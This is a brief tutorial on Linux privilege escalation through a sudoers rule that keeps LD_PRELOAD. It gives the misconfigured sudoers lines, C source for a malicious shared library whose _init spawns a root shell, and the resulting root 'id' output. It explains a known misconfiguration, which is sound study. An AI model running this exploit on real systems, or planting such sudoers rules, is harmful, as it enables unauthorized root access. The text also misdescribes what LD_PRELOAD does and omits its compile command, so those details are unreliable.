Shared libraries are libraries that are loaded at runtime while a binary is running, thus achieving much smaller binaries and reusing libraries. The path where to search for them is defined by the LD_PRELOAD environment variable or by the configuration file /etc/ld.so.conf.
If we allow commands through sudo and allow loading shared libraries that the user wants, they can gain root access.
We configure sudo so that our user can execute an ls as root, and we also allow them to define their own LD_PRELOAD environment variable:
Defaults env_keep += LD_PRELOAD
kr0m ALL=(ALL) NOPASSWD:/bin/ls
We write the shared library responsible for executing the shell:
vi shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
We compile the library:
When we execute the command through sudo, we have UID 0 temporarily. As we have loaded our library, it will be executed, presenting us with a shell with root permissions:
sh-4.4# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),26(tape),27(video)